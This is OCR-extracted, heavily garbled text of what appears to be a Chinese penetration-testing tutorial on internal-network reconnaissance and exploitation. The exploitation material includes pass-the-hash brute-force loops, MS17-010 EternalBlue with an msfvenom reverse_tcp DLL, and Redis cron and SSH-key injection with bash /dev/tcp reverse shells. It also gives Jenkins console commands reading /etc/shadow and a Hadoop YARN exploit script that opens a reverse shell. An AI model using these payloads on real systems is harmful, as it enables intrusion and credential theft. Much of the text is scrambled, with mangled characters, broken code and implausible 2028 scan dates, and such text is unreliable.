view \\GHQ T HGHQIT EAHLHI I = HIFFI R
view /domain EFH HMELEL DA

view /domain:XYZ EEXYZIEF HKIPL2:5FR
accounts /domain EH#IRHA P ZEEEHEER

Linux

BE HHUR

whoami

HEMREER

ifconfig

BEEWRORE OFB THERS, AMIPERS

netstat -anpt

HEABERE OFB THERS S

ps -ef

BEEEHEANAEMA®S GREUEN, MEEX, AME>SFER)

cat /root/.bash_history

BEREAN M (FREEXHE)

find / -name *.cfg

10. JG &S B W& Zwmictiy 4 i) — 848 5

=
i

wmicHlcmd—FE7E BT B iwindowshE A HERFETE, FRwmicEREZcmd T ARG EFAKES, SRARFEN A —REFBELE
AR H & B B8 B wmicBEH T2 B K dr 4
% Fwmic

WMIgr447 (WMIC) SZFEFF AWMBRHE T #5447 1. WMIC 5BLA KIShellfIsL IR F @43 A . AWMICHILZ BT, WHE
EEHEWMIRSZ, LAMFH—EETHWMIRHE, BIwSMS, #& 8 HWMIKEAREZAPI, 5 H%CIM StudioZ 2K T.
B. MEARBC+HZRIRmEESHVBScripte KNP AIES, EANEBWMIZKRZEPELMR, ERWMERRARZR
BXERT, WMICHKAR 73X Fh i i,

wmicH] & .43 H



B EEemdar ST AwmicBE A BRI H, X B i#i— T EpowershelltE 7T LMemd i 447 — FERI 1

C:\Users\yuN" ®m>ymic

wmic:root\cli>

BEN “/27 RIZRENESED, B QUIT "B,
wmic:root\cli>

BEN “/27 RIZRENESBL, B QUIT mEH.
wmic:root\cli>

BEN “/27 RIZRENEEEL, B QUIT mEH.

wmic:root\cli>

CAWINDOWS\system32\cmd.exe - powershell

Microsoft Windows [hRAs 10.0.18362:301
(c) 2019 Microsoft Corporation. 1% B4 HMNH|,

C:\Users\yyj m>powershell
Windows PowerShell

MeALFTH (C) Microsoft Corporation. 14 B4 T ALF],

ZiH KB F4S PowerShell https://aka.ms/pscore6

PS C:\Users\. " p

https://blog.csdn.net/gg_34801745

HEAwmicHlpowershell# = T

C:\Users\yu >wmic
Nwmic:root\cli>process /?

e~ BNF w4 k.
(K4 > WML &1 | <l4> (<1 where>] | [<KH4>] <B¥4% where>) [EIRTEI>].

ik

PROCESS ASSOC [<#&={ i 7> ]

PROCESS CALL <Hixk&Hr> [<LirsHF|FE>]
8PROCESS CREATE <4rHc413%>

PROCESS DELETE

PROCESS GET [<JgfEmZ>] [<GREUTFI>]
NPROCESS LIST [<FFAEHD] [KHJFRFAFR>]

dwmic:root\cli>g

https:/blog.csdn.net/qq_34801745




/? EHEWMICH 4 M4 RiET b Ky & B %
process /? BHEEHKIHEE)

wmic:root\cli>wmic process get /?
wmic — FRAEH 4 .

wmic:root\cli>process get /?

Fvk:

GET [<J@Mt7|3#>] [GREUFFR>]
EE: BHAIER = BEHAT | BEAT>, <JEHYIE

ZaiLl

—=

Al LU R LR g
JE Tk

CommandLine
Description
ExecutablePath
ExecutionState

Handle

HandleCount
InstallDate
KernelModeTime
MaximumWorkingSetSize
MinimumWorkingSetSize
Name

OSName
OtherOperationCount
OtherTransferCount
PageFaults
PageFileUsage
ParentProcessId
PeakPageFileUsage
PeakVirtualSize
PeakWorkingSetSize
Priority
PrivatePageCount
ProcessId
QuotaNonPagedPoolUsage N/! MNipsliblog.osdn.netiq_34801745

wmic process get /?  JBIHIREURIEHRB)

R 18 SE B ) 75 22 25 060 A SR8 B AT 3R

X EFEEHLRWINT x86 I RN, X B AEFHE N

wmic process get caption,executablepath,processid




WAL LH EAEBTRRRESER

FEFEC\WINDOWS\system32\cmd.exe
rosoft Windows [fiZ4 10.0.18362. 30]
ft Corporation. {REFTHKF.

>wmic process get caption, executablepath, processid

ExecutablePath ProcessId
0

4
88
340
464
548

{
o Qlaa_3480174

running") get name ,processid ,pathname ,startmode ,caption

wmic service where (state= 1 g ) t name , processid ,pathname , startmode , caption
aption A Pdlh ame Processld StartMode
P\pplication Information Appinf < \WINDOWS\system32\svchost k netsves —p 8 Manual
f\pple Mobile Device Service Apple Mobile Device Service 08T es\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService. exe” 3036 Auto
Windows Audio Endpoint Builder Audiok ndpointBuilder C: \WINDOWS tem32\svchost. exe —k LocalSystemNetworkRestricted —p Y Auto
Windows Audio Audiosrv . S t “host. ’ orviceNetworkRestricted —p 226 Auto
Base Filtering Engine BFE E host. e Loce rviceNoNetworkFirewall —p 2 Auto
Bon jour fIR%% Bonjour Service g i jour\mDNSResponder. exe” 972 Auto
ackground Tasks Infrastructure Service BrokerInfrastructure ) TNDO vchost. exe —k DcomLaunch -p 84 Auto
VCTP BthAvctpSve \WINI “host. exe -k LocalService —p 52 Manual
/] ] i R 2 I 45 e c \WINI q .exe —k appmodel —p 7¢ Manual
BHET MG D \WIN .exe —k LocalService —p 2 Auto
Twﬁrar@ mpa;{mmn ropS WINI RYAYY xe —k 72§ Manual
fficeClickToRun. exe” /service 322¢ Auto
ceNoNetwork —p 2 Auto
Sve Service —p 294 Auto
DCOM Server Pxo( ess Launcher DOW t v . exe DcomLaunch —p Auto
DHCP Client 2 \WID tem: v . exe LocalServiceNetworkRestricted —p 76 Auto
mmerred User Experiences and Telemetry k ) h\ tems 7 . c 2952 Auto
&A% Y Auto
i ga conneven

>wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
displayName pathToSignedProductExe productState
360274 L+ C:\360\360Safe\safemon\360tray. exe 331776
indows Defender windowsdefender:// 393472

https:/blog.csdn.netiaq_34801745

BEZENRTHERBITER
wmic onboarddevice get Description, DeviceType, Enabled, Status /format:list




C:\Users\yu wnic onboarddevice get Description, DeviceType, Enabled, Status /format:list

Description=Parallels Video Adapter

Description=Parallels Sound Adapter
DeviceType=T7

Enabled=FALSE

Status=

https:/blog.csdn.net/qq_34801745

BEFERS

C:\Users\yu m>wmic product get name

Name

Office 16 Click—to—Run Licensing Component

licrosoft .NET Framework 4.5.1 Multi-Targeting Pack
Python 3.6.6 Test Suite (64-bit symbols)

IST Development Tools

Vindows SDK for Windows Store Apps DirectX x86 Remote

Vindows SDK EULA

Visual C++ Library CRT Desktop Appx Package

licrosoft .NET Framework 4.6.1 SDK

VinRT Intellisense PPI - en-us

VS JIT Debugger

l[icrosoft Web Deploy 4.0

licrosoft .NET Framework 4.5 Multi-Targeting Pack

Vindows App Certification Kit SupportedApilist x86

licrosoft Portable Library Multi-Targeting Pack Language Pack - chs
Vindows SDK Desktop Headers arm

l[icrosoft .NET CoreRuntime For CoreCon

Vindows SDK for Windows Store Managed Apps Libs

vepp _crt. redist. clickonce

icecap collectionresources

Apple MARERFZH (64 £7)

vs communitymsires

Vindows IoT Extension SDK

Update for Windows 10 for x64-based Systems (KB4023057)

licrosoft Visual C++ 2013 x86 Minimum Runtime — 12. 0. 2100 %5tpssmiog.csdnnetiaq 34801745

RARBPAHER

wmic environment get Description, VariableValue




wmic environment

\DriverData

\0S Windows_NT

\PATHEXT . COM;. EXE;. BAT;. CMD;. VBS;. VBE;. JS;. JSE;. WSF;. WSH;. MSC
\PROC _ARCHITECTURE £ 1

>\ TEMP SystemRoot%\TEMP

stemRoot%\TEMP

emRoot%

MBER_OF_PROCESSORS
KSYSTEM>\PROCESSOR_LEVEL

TEM>\PROC OR_IDENTIFIER g 3 , Genuinel

em get Name, Domain, Manufacturer, Model, Username, Roles/format:list

1lels Software International Inc.
irtual Platform

ation”, "LM_Server”,

wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list



Caption=amdsbs
Name=amdsbs
PathName=C: \WINDOWS cem32\drivers\amdsbs. sys

drivers\amdxata.
Status=0K

Caption=AppID IXZBIFEFF
Name=AppID
PathNamQ C:)

Caption=Smartlocker ik 2sIXZNFEF
Name=applo fltr
PathName=C: \WINDC

://blog.csdn.net/

RTELZHE B A LUEE 77 #3830

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic

Get-Wmi 3k EtWindows Management Instrumentation (WMD KK SEFISRE X HERER. RINFEELEMEEACKH
windows i S $7 A8 L 7T A WM

Get-Wmiobject -list H T HIwindows &N A8 H F HIWMISE




get-wmiok

edIndications, In imTirmFilter,\'ame, Inviiic'ationldemifiel, Indic mionTinH ..
mwl ic tionFilter tionIdenti
0 TlullFllTn—‘l‘ C

Indicationldentifi
orrelatedIndications, ne, icati TdeHim‘ IndicationTime.

'JTlHHFllTi—‘l\c me,
ionFilterName,

\Lun 1ain,
\D' 1'
Amhm it

;Toup, ) Owner. ..
DACL, Group, Owner...

{provider}
{EventQueryList, provider

get-wmiobject
get-wmiobject -class win32_process

FEA TSN L IRBGHERE
BARMSH U Ko &1 75 SO T &

https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Get-WmiObject?view=powershell

-5.1#parameters

1R powershell B 77 fir 4

SMB( Server Message Block) Windowsth iS5, FEINRERSTHFITENFERS, SRR P L ILZE XK

Ui 11 R SR P R ) 7 B PP B A K R 11, K42 B S KB 2 BE VR TR s R P i 1, iR AR R B HFEEMS17-010
ﬁ/lﬂ EFEBERT, HaSEERLETIPCRSH

FEWE

net use \\192.168.1.x

12 78 A< LA UE

net use \\192.168.1.2 /user:a\username password

¥: alusername H a ATAEHER THINSar4, AILCAERFER, #liworkgroup/username

1, test.local iT F2 i\ iF

net use \\192.168.1.2 /user:test\username password

NetBios¥ii 1, 137, 138 AUDPYiH, EEAFHMER XM, MNetBios/SMB ARSI FRE 3 Z =2 @it 1393 1



Port: 135

Z3i H FZ{FEHADCOMMRPC (Remote Procedure CalD k%5, FATFI XA 0 EZHMWMI (Windows Management
Instrumentation) & P T B {2 #/E

i B B 75 9 Jwmi c IR 5%
JLF B B iy 2 ER 2 2 28 AR
ﬁD%vJﬁ” 'Invalid Globa| Switch", 7 ZdFX5]54E %00 H 7 #0_E

T FE R AN Hh 22 A SRR ) P48 U5 1) . AR bk P IE S0 2 2 MR A i - AR P DL E S & 4
[ﬁ’)\ﬁl U2 R RS

Z 38 7] DASGHIE 2 5 7F 3 Exchange Servert

Port: 53

Z 0 ADNSHR %53 1, RERMURAMNTIRS A, % DB B R T o) A3 — T DNSIRAL X IR, 7£ P R T BLE A
DNSHHGHATIBAE %%, Falit: g
SEYE .

dnsf%iE 2 dns2tcp

https://blog.csdn.net/gs1s200808/article/details/50318947

https://blog.csdn.net/deng_xj/article/details/88834124

dnsf#iE 2 unseat2

https://www.cnblogs.com/bonelee/p/7927706.html

https://blog.csdn.net/ddrl2231/article/details/102306989

Port: 389

MTLADP (BREZEXVIHHIO , BTTCPIPH, EBEREF S ISR ERBlizm 0, #ATARBRAERS, WRHA
BXZBHIA T, BibnetsliE K AR I VEAN AT B DL, 7T BA 8 FILADP YR D 34T AR

TR AT A I 2R AL T hydra %5 I 550 B

Port: 88

& 0 X ZJT JE Kerberosfi %5, J& TTCP/IPHY, EEAESFSRMVTKDCHIFEREFER, S NAEBSELRE T LT &R M
AIREREKAE, UBRY RIELERS

Port: 5985

Z 0 EEAHWINRMARS,  WinRM#Z Windows X WS-Managementf{I S2EE, WinRM ft 4@ 2 A 7 48 B T B A A< % Windows
JR 55 84T B IR R . HF HWinRMJR %% B Windows VistaT 45 sl 9 Windows fI BRI 28 14

A

Windows Vista EAZRFBIE5), MWindows Server 2008 RS R ERINTFE K
kSR &R, HEWRDERA BB, b HEERFERD

f#F winrm quickconfig XfwinRMBHATECE, FF/EHTTPHIHTTPSSEENT, HFEEIFEP Kk




. ITTAAM

1. ShEREE K -WIiFi

2.1.1 L2k Bu i SLdk Bl 2 DNSSpoof. Evil Portal. DWall
HEBNR (BEED

HE: FEMRKEXNA WIFi Pineapple (L TFRIFRHER" WAMEARMHE T E, PAIOGES 32 J i JLAMEHGE B o ia A,
W3k 44 1 FI 3K S shell. Szt FEFHFDWall. Evil Portal 5DNSMasq Spoofv=AMgi

Pineapple T /& 5 M 2 #4135 2 4% B off R Blwifidr &, MERZELFAABERFHANELES. N ELETRESHEH
ap, —MREZEFMAKIFRap. XFapiissid bl & & HEap i) &G4 7T AEE Z Kweb B B A H h R B

http://www.wifipi.org:8080/WiFiPineapple-%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C-V1.3.pdf

https://shop.hak5.org/products/wifi-pineapple

SHGBOR DL R SEH B R !
BB — T A B AR -

=

Evil Portal

A LA FEvil PortalE SR IR EX TP-LINK & 22 53 3 85, "& I A R AT LA 5 N R P 72 1 18 A 75 9 i e At 4 B R AT 1 S e W LA 1O
Landing page™. Landing Pagef i B# % MKHI T, HARMNEERBIAN E—SREFHAMERvps E, thAHEEIR
n—iksdic, BRI E M5 E B R

Dwall

{F FIDWalli#t AT B A DWallh SCE PRI 48 £ 85", REE PR — NN BB, BURREEREE P EHTIPIE
3R, WIURLS. Cookies. PostData, LK Szif 7~ H 2% i IE LR X 0 B B &5

DNSSpoof

b Ab 5 I 29 2 F i) DNSMasq spoctisit. EHIfEF RdnsEhife, IREXEIRE %/ i IR A T iEhAl. AT LUFEhosts %
BRERTRE IR, SR MAZRAGJE, SRS R R4 AT B RIP, AR R BB B M C

DNSSpoof Rl bl ik FkHishell, A AMZEEHEEZERB|— 6 AW LEvps R TEARL XM, HRRXEE AT REXH
ARELME, IR RS S, eRARDE.

DNSk 9 J5 2

DNSHR %28 TAER# 2, FiEPHiikBIDNS ARG Hits (FRANBIFEILT) BIEE, BRARXERFILREE i, Hkixk
BRIC R 5 HAMDNS RS2 B R . TR/ ikt T B8 BB &% FIDNSTE KA A& — /MRS, HEMETHRE
AR, FEHE 0 R E WA S AW R . XBERE, WRBATAUEERE P i KX FIDNSIERE, H—MEEZ RN
PREIE R, XA E AT ENURSRE R A NMBEE O R L TENSER, ANTEZRNEENG. XEEAHH
nslookup B & B & AT 1E ML, Fltracertdn A IREE: TBEk, dnsikli, FEH&dns, =FEEL T i WK 42 1 B B 5

212 P E R

M B FFAS R H#Hdns
5 U ] ) B B8 44 5 P ik 3R AT 48

R ZERIR, MRS EEANTER. TR LA R

2. MARGRFAMA
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2.2.1.1 NmapHa# R FE I

auth  ALFE B4y IGE
broadcast W% #%

discovery MR%E KR
os TEAMRS

external #hEY B
fuzzer MW
intrusive A REERA R)ER
malware &M/EI]
safe HFBREFRD
KA IR 5
TR A B

HHAZH -vuin

nmap --script=vuln 192.168.175.138



dayu@kali: ~

= dayu@kali: ~ 162x50
Stats: 0:00:13 elapsed; @ hosts completed (@ up), © undergoing Script Pre-Scan
NSE Timing: About 75.00% done; ETC: 22:07 (0:00:04 remaining)

Pre-scan script results:
| broadcast-avahi-dos:

| Discovered

hosts:

| 224.0.0.251

| After NULL UDP avahi packet DoS|(CVE-2011-1002).

| Hosts are all up (not vulnerable).

Nmap scan report for localhost (192.168.175.138)

Host is up (0.00046s latency).

Not shown: 990

closed ports

PORT STATE SERVICE

135/tcp open
| _clamav-exec:
139/tcp open
| _clamav-exec:
445/tcp open
| _clamav-exec:
3389/tcp open
| _clamav-exec:
| _sslv2-drown:
49152 /tcp open
| _clamav-exec:
49153/tcp open
| _clamav-exec:
49154/tcp open
| _clamav-exec:
49155/tcp open
| _clamav-exec:
49156/tcp open
| _clamav-exec:
49158/tcp open

msrpc

ERROR: Script
nethios-ssn

ERROR: Script
microsoft-ds

ERROR: Script

ms-wht-server

ERROR: Script

unknown
ERROR: Script
unknown
ERROR: Script
unknown
ERROR: Script
unknown
ERROR: Script
unknown
ERROR: Script
unknown

execution

execution

execution

execution

execution

execution

execution

execution

execution

failed

failed

failed

failed

failed

| clamav-exec: ERROR: Script execution failed
MAC Address: 00:0C:29:4E:1F:49 (VMware)

Host script results:
| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| smb-vuln-ms17-010:

|  VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servdrs (ms17-010)

| State: VULNERAEBLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBvl
| servers (ms17-010).

|

|

Disclosure date: 2017-03-14

https://blog.csdn.net/qq_34801745

X)LRRE CERRWIN7 EVEBKER, FERA G RRREL
MS17-010

map --script=smb-vuln-ms17-010 192.168.175.138




dayu@kali: ~ 162x50
% nmap --scriptssmv-vuln-ms17-9010 192.168.175.138

Starting Nmap 7.80 ( https://nmap.org ) at 2028-09-17 22:07 CST
NSE: failed to initialize the script engine:
Jusr/bin/../share/nmap/nse_main.lua:818: 'smv-vuln-ms17-010' did not match a category, filename, or directory
stack traceback:

[C]: in function ‘error’

Jusr/bin/../share/nmap/nse_main.lua:818: in local 'get_chosen_scripts’

fusr/bin/../share/nmap/nse_main.lua:1310: in main chunk

[C]: in ?

QUITTING!
$ nmap --script=ssmb-vuln-ms17-9010 192.168.175.138
Starting Nmap 7.80 ( https://nmap.org ) at 2028-09-17 22:08 CST
Nmap scan report for localhost (192.168.175.138)
Host is up (©.00047s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open  msrpc
139/tcp open netbios-ssn
445/ tcp open microsoft-ds
49152 /tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown

Host script results:
smb-vuln-ms17-010:
VULNERABLE :
Remote Code Execution vulnerability in Microsoft|SMBwl servers (ms17-010)
State: VULNERABLE
IDs: CWE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution wvulnerability exists in Microsoft SMBvl
servers (ms17-010).

Disclosure date: 2017-83-14
References:
/technet . .microsoft.com/en-us/library/security/ms17-010.aspx
blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
ve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

https://blog.csdn.netiaq_34801745

TESLPRBENR TEFR &% 2B 2RI H Fmssq iR 55 2% 2 4, R SC 3 48 impacktE 22 H mssqlclientf¥) {5 F % .

mssqlclient5 F4th T B AH b i OL 54
P&, pythonfiAHwE, IHHEHexeRA&
A AATHAT, BEER
KRR socks IR
S HF Lhhash &3 i 77 AT I 5 30 1E
X windowsIMERE AT ms sqfR S5 i 22 &kl
HATsqir A AT LR R, th il LB E B sqir S PIT4 3

winfil linux3F 3 F { F
1) fEwindows¥ 58 T fff FHwindowsMIERE S, mssqlclientillif & Fisqlserverfk 585, 510 UEE T /52 H#EIR[F sql shell

mssglclient.exe dayu/sqladmin@192.168.3.73 -windows-auth

2) J8id socksUH, TElinux3 % T # A windowsiMERE R, mssqlclientfl] iR sqlserverfik %5488, S RIFELEFSEHE
sql shell

proxychains python mssqlclient.py dayu/sqladmin@192.168.x.x -windows-auth




3) T socksfUH, Llmssqllk S IiE 5 R & FimssqliR S 2%, WS IE B0 JE AT mssql. et Fsqlr 4

proxychains python mssqlclient.py ./sa:admin@192.168.x.x -file mssql.txt

4) Bt socksfRE, TElinuwdF3E T3 A windowsiMEH R, mssqlclientfllik % Fsqlserverff %85, M5 WAE &I 5 AT
command.txtPd f¥sqly 4

proxychains python mssqlclient.py -p 1433 dayu/sqladmin:123456@192.168.x.x -windows-auth -file cpmmand.txt

5) fEwindows¥F 3% T f# FwindowsAIERE R, 43 Fntlim hash3&iE 53, mssqlclientilliX & Fisqlserverfk 5525, K5 AE B.Ih G h
1Fcommand.txt Hsqldr &

mssqlclient.exe -p 1433 -hashes :"hashfd" dayu/sqladmin@192.168.x.x -file command.txt -windows-auth

[ t1 7] LA Fwebshell 3R 35 T
M= g R

Btz Ab, EAT AL EA I P SQL serverR 55 23 KK 5 2 4tk
FERLR A

mssqlclient.exe(X

command . txt (A40)

AT AN SO R e —

hashes.txt (FWIEK ntlm hashZFfFEFIR)
username.txt (FIIEHK username®|3&)
password.txt (FHIIERFEREZREFIR)
Ips.txt (FRIEWpFFEHIR)

Z445) LAF JUAD L R A W B batid Ay &

1) PR L windowsIMVIERE R, 8 Flhashi&#KE, 4 mssqlclientitt B3R % F sqlserverfiR55 5%, Ips.txt P2 56
sqlserverfR &%ip, 1T —%

FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 -hashes :hashff

2) MHA LA windowsiAIERER,, {# FHhashEiBI8E, #5852 EML ntim hashiE Ji%E, hashes.txt95 Ml &40 ntim hashW &, 1T
—%

FOR /F %%i in (hashes.txt) do mssqlclient.exe -p 1433 -hashes %%i domain/adminis

3) MR LA sqlserverIEHER, &AM EHL, ¥FHKAFE passwords.txt I RSA B tk, passwords.xtHEHIFLHE, 17
—%, WIERINEIAT command.txti sqlfy 4

FOR /F %%i in (passwords.txt) do mssqlclient.exe -p 1433 ./sa:%%»i@192.168.X.X ....

4) PIRLL sqlserverihiERE R, 18 E/KNZND, BHKIEip. N A RS 5S, ip.xtfiillsqlserverfks8s, #17—%, WiF
BN JEHAT command. txt sqldy 4

FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 ./sa:passwordl23@%%1i -file

XUy A& BB R FE T, REEESERR
SEFH:



https://github.com/SecureAuthCorp/impacket -- T

https://www.puckiestyle.nl/impacket/
https://github.com/SecureAuthCorp/impacket/issues/613

VN

if

ok

BN Ll AR IR, (E R FIMSF AR HUR Y SR, T 58 P py B0 A I & s 2 0
A H

FEZAS L R IIHLIE 22 T Kail 1 Windows7 &4t

windwos7#EHLIP: 192.168.175.138

A AR S dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.175.138 lport=6666 -f dll > 64.dll

dayu@kali: ~ 79x53
est# msfvenom -p

rse_tcp lhost=192.
[-] No platform was
payload

[-]

No

Pa

1

py F# k. fb.py

https://github.com/misterch@c/shadowbroker/tree/master



1)k Eip

2)Use Eternalbluef# | Eternalblueffiff
3)Use doublepulsaf# ] doublepulsarfdiff
4)B J5 AT dIl R #ishell
BIESBEABE TR RK. ..

dayu®@kali: ~ dayu@kali: ~
dayu@kali: ~ 162x32

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

O e T B e e oy S Ty Sy =)

XK A S IR . RSB, B R 2 R s R
Redis

RedisZ —MTEHIEHANSICIESME . XIFM% . WETHAFPATHFALKEEE. Key-Value e &

reds-cli

redis-cli -h 172.16.x.x -p 6379

w5 N\



172.16.x.X:6379 > CONFIG GET dir

"/usr/local/var/db/redis"
172.16.x.x:6379 > CONFIG set dir /tmp/
0K
172.16.x.X:6379 SET foobar "who are you? Rvnoxsy"
0K
172.16.x.%X:6379 CONFIG GET dbfilename
1) filename
2) dump.rab
172.16.x.X:6379 > CONFIG SET dbfilename write_file.log
0K
172.16.x.X:6379
0K

J% #shell-Linux

127.0.0.1:6379 > set shell "\n* * * * *¥ bash -i >& /dev/tcp/1.1.1.1/88 0>&1\n"
0K

127.0.0.1:6379 > config set dir /var/spool/cron/

0K

127.0.0.1:6379 > config set dbfilename root

0K

127.0.0.1:6379 > save

[238] xx May xx:xx:xx DB saved on disk

0K

BAAH
AR

ssh-keygen-t rsa  --—HE[EIREIHE

127.0.0.1:6379 > config set dir /root/ssh/

0K

127.0.0.1:6379 > config set dbfilename authorized keys

0K

127.0.0.1:6379 > set x "\n\n\nssh-rsa xxxxxx root@kali\n\n\n"
0K

127.0.0.1:6379 >

0K

BE e RS DL EE

172.16.x.%x:6379 > FLUSHALL

2.2 2. 1R BRI & 4
KRB

Redis

i RIE % R # shell

R RIE 45T A 4 R Bshell

TEredis PArootil B iz 17 B 7] BL 5 crontab S #1417 iy & [ ishell
STEH CRIRS 2 LB —AN g O



nc -lvnp 6666

RIGHAT A2

redis-cli -h 192.168.x.Xx

192.168.%x.x:6379 set x "\n* * * * * bash -i >& /dev/tcp/192.168.x.x/6666 ...
192.168.x.x:6379 config set dir /var/spool/cron/

192.168.x.x:6379 > config set dbfilename root

192.168.x.x:6379 save

BAAH
K Hrsa

ssh-keygen -t rsa

AT Noo.bdt, TER N ARG E M2 84T

echo -e "\n\n"; cat /root/ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

Kifoo. BN crackit 2

cat foo.txt redis-cli -h IP -x set crackit

EEB R

redis-cli -h Ip

¥ B B riredis i B S04
5 B 503 E &0 B % N /root/.ssh/

192.168.X.X: 6379 > config set dir /root/.ssh/

e BB R & 3 U 44 Jvauthorized_keys

192.168.X.X:6379 > config set dbfilename authorized_ keys

W AHBRIIE N BAHLF, X4 Hauthorized_keys

AR A B Ax

ssh -i /root/.ssh/id_rsa root@192.168.x.x

set x "\n\n\n

W
af
S

https://segmentfault.com/a/1190000009811404

https://github.com/andymccurdy/redis-py

Jenkins
BRI\ 28080 O AR BB 7 5t &L= H P &R se U7 I &R BE AT A &

127.0.0.1:8080/jenkins/manage

127.0.0.1:8080/jenkins/script




HEHELHEE:

println "whoami".execute().text

Linux:

println ifconifg -a".execute().text

println "cat /etc/passwd".execute().text

printin"cat /etc/shadow".execute().text

Windows:

"ipconfig /all".execute().text

= new StringBuffer(), serr = new StringBuffer()

= 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrkill(1000)
println "out> $sout err> $serr"

EHERRAZN, B 7 HITHLSR..

Mongodb

FIA AR T HEERIARO: 28017
HE#Robo3t 1.1 BI Al

python mongodb_unauth.py

coding:utf-8

mongodb AR FZAAR I A

usage: python3 mongodb_unauth.py ip port
BRI\ 128017F127017

from pymongo import MongoClient
import sys

ip = sys.argv[1l]

int(sys.argv[2])

conn = MongoClient(ip, port, socketTimeoutMS=5000) #i%# MongoDB, ZER}5H)
dbs = conn.database_names()

print('[ok] -> {}:{} database_names : {}'.format(ip, port, dbs))
conn.close()

except Exception as e:
error = e.args
print('[-] -> {}:{} error : {}'.format(ip, port, error))

python3 mongodb_unauth.py 192.168.175.1 27017

ZooKeeper

ik 2181, 2171



1s / #BEEHAT A

https://blog.csdn.net/lihao21/article/details/51778255
https://www.cnblogs.com/wushijin/p/11654076.html

A AU

# coding=utf-8

import socket

def get_plugin_info():

plugin_info = {
"name": "Zookeeper RIZALifE",
"info": "Zookeeper Unauthorized access",
"level": "HIfG",
"type": "REEAIH",
"author": "c4bbage@qq.com",
"url": "https://hackerone.com/reports/154369",
"keyword": "server:Zookeeper",
"source": 1

}

return plugin_info

def check(ip, port, timeout):
try:
socket.setdefaulttimeout (timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "envi"
envi
dump
reqgs
ruok
stat
s.send(flag)
data = s.recv(1024)
s.close()
if 'Environment' in data:
return u"Zookeeper Unauthorized access"
except:

https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldb




Elasticsearch

http://localhost:9200/ plugin/head/ web% ¥ 5
http://localhost:9200/ cat/indices

http://localhost:9200/ nodes BET A

coding:utf-8

elasticsearchRIZHUG M A

author: ske

usage: python3 elasticsearch_unauth.py ip port

BRI\ 19200

http://localhost:9200/ plugin/head/ web’ ¥ 5 MH
http://localhost:9200/ cat/indices
http://localhost:9200/ river/ search &&EHEEHBKER
http://localhost:9200/ nodes & i HEHE

import sys

from elasticsearch import Elasticsearch
import requests

import json

ip = sys.argv[1]
int(sys.argv[2]) # 9200

Elasticsearch("{}:{}".format(ip, port), timeout=5) # &E#Elasticsearch, ZEm 5%
es.indices.create(index="unauth_text")
print('[+] EIh#EE : {}'.format(ip))
print(‘[+] {} -> BIHEIENRT Runauth_text'.format(ip))
es.index(index="unauth_text", doc_type="test-type", id=2, body={"text": "text"})
print('[+] {} -> AINET Aunauth_texti@ AEHE "' . format(ip))
ret = es.get(index="unauth_text", doc_type="test-type", id=2)
print('[+] {} -> ARIIFRELY funauth_text#HdE : {}'.format(ip, ret))
es.indices.delete(index="unauth_text")
print('[+] {} -> BERIRT Sunauth_text##E ' . format(ip))
print('[ok] {} -> FfEElasticSearchRk#BEHURH" .format(ip))

print("ZRXKBRWAEE: 1)

text = json.loads(requests.get(url="http://{}:{}/_nodes'.format(ip, port), timeout=5).text)
nodes_total = text['_nodes']['total’]

nodes = list(text['nodes'].keys())

print('[ok] {} -> [{}] : {}'.format(ip, nodes_total, nodes))

except Exception as e:
error = e.args
print('[-] -> {} error : {}'.format(ip, error))

python3 elasticsearch_unauth.py 192.168.1.4 9200

Memcache

Bk 111211




RN ER BRI R IR

telnet <target> 11211, & nc -vv <target> 11211

Memcachedif O & XA F8UK), FncEkTelneFf LEEE R, BERER, HiESE w L
BERINL

memcached & & W5 Wr P P SR AT B B Kk 358 R fill JE 0 B2 1 i 72 17 7]

https://www.cnblogs.com/mrhonest/p/10881389.html

Hadoop

Hadoops&—/>HApache# & i F kK 0 N R A ANEE K
AP UEART B ARBHNRERT, FROMAER
7043 ) F BR B I R 70 30T e 2 RN A A

EBRINEDL T, Hadoop o ViR & A/ 1 1A & ¥4 1

poc:

#!1/usr/bin/env python
import requests

target = 'http://127.0.0.1:8088/"
lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999

url = target + ‘'ws/vl/cluster/apps/new-application’
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/vl/cluster/apps’
data = {
‘application-id': app_id,
‘application-name': ‘'get-shell’,
'am-container-spec': {
‘commands': {
‘command': '/bin/bash -i >& /dev/tcp/%s/9999 ©>&1' % lhost,
¥
¥
'application-type': 'YARN',
}
requests.post(url, json=data)
fEexploit. pyH iR HIP
python exploit.py

HDFS

NameNode ERil\¥E 50070
\%i 50075

httpfs ERiAimEO 14000
journalnode ERiliIl 8480

YARN (JobTracker )



ResourceManager ERil¥GI0 8088
Jobtracker BRi\iiH 50030

TaskTracker ERiA4iI0 50060

Hue R A %5 118080

YARN (JobTracker)

master BERiAWH 6001

regionserver Ei\iiH 60030

hive- server2E il ¥ 11000
spark- jdbcserverEk il ¥ 110003

TER B4 RAE, By b RSB U5

Couchdb

2R\ 15984

ZElocal.inifit & =

